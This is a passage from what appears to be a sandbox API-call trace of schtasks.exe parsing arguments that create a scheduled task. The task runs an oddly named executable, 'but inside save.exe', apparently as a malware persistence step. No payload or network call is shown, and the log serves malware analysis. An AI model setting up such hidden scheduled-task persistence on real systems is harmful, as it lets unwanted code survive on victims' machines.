(in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.348] lstrlenW (lpString="|sc|") returned 4 [0158.348] lstrlenW (lpString="|mo|") returned 4 [0158.348] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0158.348] SetLastError (dwErrCode=0x490) [0158.348] lstrlenW (lpString="mo") returned 2 [0158.348] lstrlenW (lpString="mo") returned 2 [0158.348] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.348] lstrlenW (lpString="mo") returned 2 [0158.348] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.348] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.348] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.348] lstrlenW (lpString="|mo|") returned 4 [0158.348] lstrlenW (lpString="|mo|") returned 4 [0158.349] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0158.349] SetLastError (dwErrCode=0x0) [0158.349] SetLastError (dwErrCode=0x0) [0158.349] lstrlenW (lpString="6") returned 1 [0158.349] SetLastError (dwErrCode=0x490) [0158.349] SetLastError (dwErrCode=0x0) [0158.349] lstrlenW (lpString="6") returned 1 [0158.349] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0158.349] SetLastError (dwErrCode=0x490) [0158.349] SetLastError (dwErrCode=0x0) [0158.349] _memicmp (_Buf1=0x2fd540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.349] lstrlenW (lpString="6") returned 1 [0158.349] lstrlenW (lpString="6") returned 1 [0158.349] lstrlenW (lpString=" \x09") returned 2 [0158.349] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0158.349] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0158.349] GetLastError () returned 0x0 [0158.349] lstrlenW (lpString="6") returned 1 [0158.349] lstrlenW (lpString="6") returned 1 [0158.349] GetProcessHeap () returned 0x2e0000 [0158.349] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x4) returned 0x2fb9d0 [0158.349] SetLastError (dwErrCode=0x0) [0158.349] SetLastError (dwErrCode=0x0) [0158.349] lstrlenW (lpString="/tr") returned 3 [0158.349] lstrlenW (lpString="-/") returned 2 [0158.349] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.349] lstrlenW (lpString="create") returned 6 [0158.349] lstrlenW (lpString="create") returned 6 [0158.349] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.349] lstrlenW (lpString="tr") returned 2 [0158.350] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.350] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|create|") returned 8 [0158.350] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.350] lstrlenW (lpString="|create|") returned 8 [0158.350] lstrlenW (lpString="|tr|") returned 4 [0158.350] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0158.351] SetLastError (dwErrCode=0x490) [0158.351] lstrlenW (lpString="?") returned 1 [0158.351] lstrlenW (lpString="?") returned 1 [0158.351] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.351] lstrlenW (lpString="tr") returned 2 [0158.351] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.351] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|?|") returned 3 [0158.351] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.351] lstrlenW (lpString="|?|") returned 3 [0158.351] lstrlenW (lpString="|tr|") returned 4 [0158.351] SetLastError (dwErrCode=0x490) [0158.351] lstrlenW (lpString="s") returned 1 [0158.351] lstrlenW (lpString="s") returned 1 [0158.351] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.352] lstrlenW (lpString="tr") returned 2 [0158.352] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.352] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|s|") returned 3 [0158.352] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.352] lstrlenW (lpString="|s|") returned 3 [0158.352] lstrlenW (lpString="|tr|") returned 4 [0158.352] SetLastError (dwErrCode=0x490) [0158.352] lstrlenW (lpString="u") returned 1 [0158.352] lstrlenW (lpString="u") returned 1 [0158.352] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.352] lstrlenW (lpString="tr") returned 2 [0158.352] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.352] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|u|") returned 3 [0158.352] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.352] lstrlenW (lpString="|u|") returned 3 [0158.352] lstrlenW (lpString="|tr|") returned 4 [0158.352] SetLastError (dwErrCode=0x490) [0158.352] lstrlenW (lpString="p") returned 1 [0158.352] lstrlenW (lpString="p") returned 1 [0158.352] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.352] lstrlenW (lpString="tr") returned 2 [0158.352] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.352] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|p|") returned 3 [0158.352] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.353] lstrlenW (lpString="|p|") returned 3 [0158.353] lstrlenW (lpString="|tr|") returned 4 [0158.353] SetLastError (dwErrCode=0x490) [0158.353] lstrlenW (lpString="ru") returned 2 [0158.353] lstrlenW (lpString="ru") returned 2 [0158.353] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.353] lstrlenW (lpString="tr") returned 2 [0158.353] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.353] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|ru|") returned 4 [0158.353] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.353] lstrlenW (lpString="|ru|") returned 4 [0158.353] lstrlenW (lpString="|tr|") returned 4 [0158.353] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0158.353] SetLastError (dwErrCode=0x490) [0158.353] lstrlenW (lpString="rp") returned 2 [0158.353] lstrlenW (lpString="rp") returned 2 [0158.353] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.353] lstrlenW (lpString="tr") returned 2 [0158.354] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.354] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rp|") returned 4 [0158.354] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.354] lstrlenW (lpString="|rp|") returned 4 [0158.354] lstrlenW (lpString="|tr|") returned 4 [0158.354] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0158.354] SetLastError (dwErrCode=0x490) [0158.354] lstrlenW (lpString="sc") returned 2 [0158.354] lstrlenW (lpString="sc") returned 2 [0158.354] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.354] lstrlenW (lpString="tr") returned 2 [0158.354] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.354] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.354] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.354] lstrlenW (lpString="|sc|") returned 4 [0158.354] lstrlenW (lpString="|tr|") returned 4 [0158.354] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0158.354] SetLastError (dwErrCode=0x490) [0158.355] lstrlenW (lpString="mo") returned 2 [0158.355] lstrlenW (lpString="mo") returned 2 [0158.355] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.355] lstrlenW (lpString="tr") returned 2 [0158.355] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.355] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.355] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.355] lstrlenW (lpString="|mo|") returned 4 [0158.355] lstrlenW (lpString="|tr|") returned 4 [0158.355] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0158.355] SetLastError (dwErrCode=0x490) [0158.355] lstrlenW (lpString="d") returned 1 [0158.355] lstrlenW (lpString="d") returned 1 [0158.355] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.355] lstrlenW (lpString="tr") returned 2 [0158.355] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.355] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|d|") returned 3 [0158.355] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.356] lstrlenW (lpString="|d|") returned 3 [0158.356] lstrlenW (lpString="|tr|") returned 4 [0158.356] SetLastError (dwErrCode=0x490) [0158.356] lstrlenW (lpString="m") returned 1 [0158.356] lstrlenW (lpString="m") returned 1 [0158.356] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.356] lstrlenW (lpString="tr") returned 2 [0158.356] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.356] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|m|") returned 3 [0158.356] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.356] lstrlenW (lpString="|m|") returned 3 [0158.356] lstrlenW (lpString="|tr|") returned 4 [0158.356] SetLastError (dwErrCode=0x490) [0158.356] lstrlenW (lpString="i") returned 1 [0158.356] lstrlenW (lpString="i") returned 1 [0158.356] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.356] lstrlenW (lpString="tr") returned 2 [0158.356] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.356] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|i|") returned 3 [0158.356] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.356] lstrlenW (lpString="|i|") returned 3 [0158.357] lstrlenW (lpString="|tr|") returned 4 [0158.357] SetLastError (dwErrCode=0x490) [0158.357] lstrlenW (lpString="tn") returned 2 [0158.357] lstrlenW (lpString="tn") returned 2 [0158.357] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.357] lstrlenW (lpString="tr") returned 2 [0158.357] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.357] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.357] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.357] lstrlenW (lpString="|tn|") returned 4 [0158.357] lstrlenW (lpString="|tr|") returned 4 [0158.357] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0158.357] SetLastError (dwErrCode=0x490) [0158.357] lstrlenW (lpString="tr") returned 2 [0158.357] lstrlenW (lpString="tr") returned 2 [0158.357] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.357] lstrlenW (lpString="tr") returned 2 [0158.357] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.357] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.357] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.357] lstrlenW (lpString="|tr|") returned 4 [0158.357] lstrlenW (lpString="|tr|") returned 4 [0158.357] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0158.357] SetLastError (dwErrCode=0x0) [0158.357] SetLastError (dwErrCode=0x0) [0158.357] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0158.357] lstrlenW (lpString="-/") returned 2 [0158.357] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0158.358] SetLastError (dwErrCode=0x490) [0158.358] SetLastError (dwErrCode=0x490) [0158.358] SetLastError (dwErrCode=0x0) [0158.358] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0158.358] StrChrIW (lpStart="'C:\\comproviderRuntimecommon\\but inside save.exe'", wMatch=0x3a) returned=":\\comproviderRuntimecommon\\but inside save.exe'" [0158.358] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0158.358] _memicmp (_Buf1=0x2fc330, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.358] _memicmp (_Buf1=0x2fc370, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.358] SetLastError (dwErrCode=0x7a) [0158.358] SetLastError (dwErrCode=0x0) [0158.358] SetLastError (dwErrCode=0x0) [0158.358] lstrlenW (lpString="'C") returned 2 [0158.358] lstrlenW (lpString="-/") returned 2 [0158.358] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0158.358] SetLastError (dwErrCode=0x490) [0158.358] SetLastError (dwErrCode=0x490) [0158.358] SetLastError (dwErrCode=0x0) [0158.358] _memicmp (_Buf1=0x2fd540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.358] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0158.358] GetProcessHeap () returned 0x2e0000 [0158.358] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd560) returned 1 [0158.358] GetProcessHeap () returned 0x2e0000 [0158.358] RtlReAllocateHeap (Heap=0x2e0000, Flags=0xc, Ptr=0x2fd560, Size=0x64) returned 0x2fc290 [0158.358] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0158.358] lstrlenW (lpString=" \x09") returned 2 [0158.358] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0158.358] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0158.358] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0158.358] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0158.359] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0158.360] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0158.360] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0158.360] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0158.360] GetLastError () returned 0x0 [0158.360] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0158.360] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0158.360] SetLastError (dwErrCode=0x0) [0158.360] SetLastError (dwErrCode=0x0) [0158.360] lstrlenW (lpString="/rl") returned 3 [0158.360] lstrlenW (lpString="-/") returned 2 [0158.360] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0158.360] lstrlenW (lpString="create") returned 6 [0158.360] lstrlenW (lpString="create") returned 6 [0158.360] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.360] lstrlenW (lpString="rl") returned 2 [0158.360] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.361] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|create|") returned 8 [0158.361] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.361] lstrlenW (lpString="|create|") returned 8 [0158.361] lstrlenW (lpString="|rl|") returned 4 [0158.361] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0158.361] SetLastError (dwErrCode=0x490) [0158.361] lstrlenW (lpString="?") returned 1 [0158.361] lstrlenW (lpString="?") returned 1 [0158.361] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.361] lstrlenW (lpString="rl") returned 2 [0158.361] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.361] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|?|") returned 3 [0158.361] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.361] lstrlenW (lpString="|?|") returned 3 [0158.361] lstrlenW (lpString="|rl|") returned 4 [0158.361] SetLastError (dwErrCode=0x490) [0158.361] lstrlenW (lpString="s") returned 1 [0158.361] lstrlenW (lpString="s") returned 1 [0158.361] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.361] lstrlenW (lpString="rl") returned 2 [0158.361] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.361] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|s|") returned 3 [0158.361] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.361] lstrlenW (lpString="|s|") returned 3 [0158.361] lstrlenW (lpString="|rl|") returned 4 [0158.361] SetLastError (dwErrCode=0x490) [0158.361] lstrlenW (lpString="u") returned 1 [0158.361] lstrlenW (lpString="u") returned 1 [0158.361] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.362] lstrlenW (lpString="rl") returned 2 [0158.362] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.362] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|u|") returned 3 [0158.362] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.362] lstrlenW (lpString="|u|") returned 3 [0158.362] lstrlenW (lpString="|rl|") returned 4 [0158.362] SetLastError (dwErrCode=0x490) [0158.362] lstrlenW (lpString="p") returned 1 [0158.362] lstrlenW (lpString="p") returned 1 [0158.362] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.362] lstrlenW (lpString="rl") returned 2 [0158.362] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.362] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|p|") returned 3 [0158.362] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.362] lstrlenW (lpString="|p|") returned 3 [0158.362] lstrlenW (lpString="|rl|") returned 4 [0158.362] SetLastError (dwErrCode=0x490) [0158.362] lstrlenW (lpString="ru") returned 2 [0158.362] lstrlenW (lpString="ru") returned 2 [0158.362] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.362] lstrlenW (lpString="rl") returned 2 [0158.362] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.362] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|ru|") returned 4 [0158.362] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.362] lstrlenW (lpString="|ru|") returned 4 [0158.362] lstrlenW (lpString="|rl|") returned 4 [0158.363] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0158.363] SetLastError (dwErrCode=0x490) [0158.363] lstrlenW (lpString="rp") returned 2 [0158.363] lstrlenW (lpString="rp") returned 2 [0158.363] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.363] lstrlenW (lpString="rl") returned 2 [0158.363] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.363] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rp|") returned 4 [0158.363] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.363] lstrlenW (lpString="|rp|") returned 4 [0158.363] lstrlenW (lpString="|rl|") returned 4 [0158.363] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0158.363] SetLastError (dwErrCode=0x490) [0158.363] lstrlenW (lpString="sc") returned 2 [0158.363] lstrlenW (lpString="sc") returned 2 [0158.363] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.363] lstrlenW (lpString="rl") returned 2 [0158.363] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.363] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sc|") returned 4 [0158.363] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.363] lstrlenW (lpString="|sc|") returned 4 [0158.363] lstrlenW (lpString="|rl|") returned 4 [0158.363] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0158.363] SetLastError (dwErrCode=0x490) [0158.363] lstrlenW (lpString="mo") returned 2 [0158.363] lstrlenW (lpString="mo") returned 2 [0158.363] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.364] lstrlenW (lpString="rl") returned 2 [0158.364] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.364] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|mo|") returned 4 [0158.364] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|rl|") returned 4 [0158.364] lstrlenW (lpString="|mo|") returned 4 [0158.364] lstrlenW (lpString="|rl|") returned 4 [0158.364] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0158.364] SetLastError (dwErrCode=0x490) [0158.364] lstrlenW (lpString="d") returned 1 [0158.364] lstrlenW (lpString="d") returned 1 [0158.364] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.364] lstrlenW (lpString="rl") returned 2 